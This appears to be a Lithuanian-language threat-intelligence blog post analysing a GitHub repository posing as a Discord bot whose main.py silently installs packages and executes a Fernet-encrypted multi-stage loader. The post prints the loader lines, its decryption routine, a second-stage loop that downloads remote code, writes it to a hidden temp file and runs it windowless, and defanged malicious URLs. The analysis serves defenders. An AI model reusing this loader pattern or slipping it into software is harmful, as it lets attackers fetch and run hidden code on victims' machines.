Pereiti prie turinio
Paslėpti pavojai „GitHub“: duomenis vagiantys „Python“ scenarijai

Paslėpti pavojai „GitHub“: duomenis vagiantys „Python“ scenarijai

Tyrimas, kaip iš pažiūros nekaltame „GitHub“ projekte paslėptas „Python“ kodas iššifruoja ir paleidžia nuotolinį krovinį, galintį išsiųsti aukos duomenis.

Paslėpti pavojai „GitHub“: duomenis vagiantys „Python“ scenarijai

Įvadas

Ramiai sėdėjau kriptovaliutų ir prekybos „Discord“ kanale, kai kažkas pasidalijo nuoroda į savo „GitHub“ profilį. Pamačius, kad žmogus tokioje grupėje siūlo „Python“ scenarijų kasimui, prekybai ar dar kam nors, smalsumas laimėjo.

Iš pirmo žvilgsnio nieko ypatingo, tačiau dvi detalės užkliuvo. CTI tyrėjo vidinis signalizatorius pradėjo pypsėti, todėl pažiūrėkime giliau.

Pastaba

Kanale keli žmonės teigė paleidę paskyroje buvusius scenarijus. Negalėjau patvirtinti, ar tai buvo skirtingi žmonės, ar tas pats asmuo su keliomis paskyromis. Jei kodas iš tiesų buvo paleistas, pasekmės galėjo būti nemalonios.

Pirmas žvilgsnis

Įtartinas „GitHub“ profilis ir saugykla

Pirmiausia dėmesį patraukė saugykla pavadinimu „Discord-Nuke-Bot-Stable-Version“.

Kilo trys klausimai:

  • Kodėl saugykla taip pavadinta?
  • Koks tikslas „sunaikinti“ ar užtvindyti „Discord“ kanalą?
  • Ar tai gali būti informacijos vagis?

Pirmasis atsakymas gana paprastas: žmogus, ieškantis būdo užtvindyti kanalą, gali įvesti būtent tokius žodžius ir rasti šią saugyklą. Į trečią klausimą gali atsakyti pats kodas.

Kodo patikra

Faile main.py radau štai ką:

Užmaskuotas „Python“ įkėlimo kodas

Tyliai diegiami moduliai

1
2
3
subprocess.run(['pip', 'install', 'cryptography'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(['pip', 'install', 'fernet'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(['pip', 'install', 'requests'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

Kodas be aiškaus naudotojo sutikimo įdiegia cryptography, fernet ir requests bibliotekas, o išvestį paslepia. Vien tai dar neįrodo kenkėjiškumo, bet kartu su tolesniu elgesiu tampa svarbiu signalu.

Iššifruojamas ir paleidžiamas krovinys

1
2
3
from fernet import Fernet
import requests
exec(Fernet(b'qMQ9By0xS9aF5IiNtG4neJTkGsJhNSYj3qNHWGt4MFE=').decrypt(b'...'))

Naudojamas kode įrašytas Fernet raktas, iššifruotas turinys perduodamas exec(). Tokia konstrukcija paslepia tikrąją programos paskirtį iki vykdymo momento ir leidžia paleisti savavališką „Python“ kodą.

Galimos funkcijos – duomenų išsiuntimas, failų keitimas, papildomo kenkėjiško kodo atsisiuntimas ar išlikimo sistemoje mechanizmai. Šiame etape tai buvo hipotezės, kurias reikėjo tikrinti iššifruojant turinį.

Užmaskavimo išardymas

Fernet sluoksnį galima iššifruoti neleidžiant paties krovinio:

1
2
3
4
5
6
7
8
9
from cryptography.fernet import Fernet

key = b'{key}'
cipher = Fernet(key)
encrypted_message = b'{message}'

decrypted_message = cipher.decrypt(encrypted_message).decode()
with open("output.txt", "w", encoding="utf-8") as output:
    output.write(decrypted_message)

Iššifruotas kodas turėjo dar vieną sluoksnį. Jis naudojo raktą vibe.process-byunknown, bandė iš kelių adresų atsisiųsti kitą turinį, iššifruoti jį, įrašyti į laikiną paslėptą .py failą ir paleisti naujame procese be matomo lango.

Supaprastinta svarbiausia logika:

1
2
3
4
5
6
7
8
9
10
11
12
13
for url in urls:
    try:
        decoded_url = decode(url, key)
        response = urllib.request.urlopen(decoded_url)
        payload = response.read().decode("utf-8")
        break
    except Exception:
        pass

file_path = os.path.join(tempfile.gettempdir(), f"{uuid.uuid4()}.py")
with open(file_path, "w", encoding="utf-8") as output:
    output.write(decode(payload, key))
subprocess.Popen([sys.executable, file_path], creationflags=subprocess.CREATE_NO_WINDOW)

Paprastas base64 dekodavimas pateikė nesuprantamą tekstą, nes duomenims papildomai taikyta simbolių transformacija. Atkartojus kode esančią funkciją:

1
2
3
4
5
6
7
8
import base64

def custom_decode(encoded, key):
    raw = base64.b64decode(encoded).decode("utf-8", errors="ignore")
    return "".join(
        chr(ord(char) - ord(key[index % len(key)]))
        for index, char in enumerate(raw)
    )

pavyko gauti du neutralizuotus adresus:

1
2
hxxps://smarxtech[.]store/tecx0/3DRobotic/drone
hxxps://rlim[.]com/pred-FMoss/raw

Adresų patikra

Tyrimo metu pirmasis adresas jau buvo žymimas kaip kenkėjiškas:

Pirmojo adreso aptikimo rezultatai

Antrasis tuo metu nebuvo žymimas:

Antrojo adreso aptikimo rezultatai

Tai gera priminimo dozė: nulinis aptikimų skaičius nėra nekaltumo įrodymas. Reputacijos sistemos rodo, ką jų šaltiniai jau žino, o ne galutinę tiesą apie objektą.

Ką grąžino nuotoliniai adresai

Pirmasis adresas pateikė dar vieną užšifruotą sluoksnį:

Pirmojo nuotolinio adreso grąžintas turinys

Antrajame buvo panaši situacija:

Antrojo nuotolinio adreso grąžintas turinys

Kode aptiktas rusiškas komentaras, kurio prasmė: „Jei atėjai taip toli, tavęs laukia ilgas kelias.“ Toliau prasibrauti nepavyko – infrastruktūra galėjo riboti sąveiką arba jau būti pakeista.

Platesnė paieška

Pagal konkrečią eilutę:

1
exec(Fernet(b'qMQ9By0xS9aF5IiNtG4neJTkGsJhNSYj3qNHWGt4MFE=')

„GitHub“ paieškoje radau daugiau nei 120 saugyklų su ta pačia konstrukcija, skirtingais pavadinimais ir paskyromis. Išplėtus paiešką iki bendresnės exec(Fernet(b' išraiškos, vienos dienos paieškoje pasirodė maždaug tūkstantis saugyklų.

Šie skaičiai buvo momentinis tyrimo rezultatas, o ne išsamus visos platformos matavimas. Dalis atitikmenų galėjo būti kopijos, analizės pavyzdžiai ar tarpusavyje nesusijęs kodas. Vis dėlto pakartotinai naudojamas užmaskavimo modelis ir socialinis platinimas rodė reikšmingą riziką.

Vertinimas

Surinkti įrodymai – tylus priklausomybių diegimas, užšifruoto kodo vykdymas, kelių pakopų atsisiuntimas, paslėptas laikinas failas ir neutralizuota infrastruktūra – patvirtina, kad tirta saugykla platino kenkėjišką kodą. Teiginys apie konkrečią „infostealer“ šeimą liko nepatvirtintas, nes galutinis krovinys nebuvo gautas.

Išvada

Atidžiai vertinkite, ką atsisiunčiate, klonuojate ir ypač – ką paleidžiate. Lengva pasakyti, sunkiau nuosekliai daryti, bet šiuo atveju kelios minutės kodo peržiūros būtų atskyrusios tariamą „Discord“ įrankį nuo kelių pakopų kenkėjiško įkėlimo grandinės.

Sekite tyrimus

Nauji tyrimai be sekimo technologijų

Prenumeruokite kalbos RSS srautą arba sekite Deividą „LinkedIn“. HECAVEX nenaudoja reklamos sekiklių ar rinkodaros pikselių.

This post is licensed under CC BY 4.0 by the author.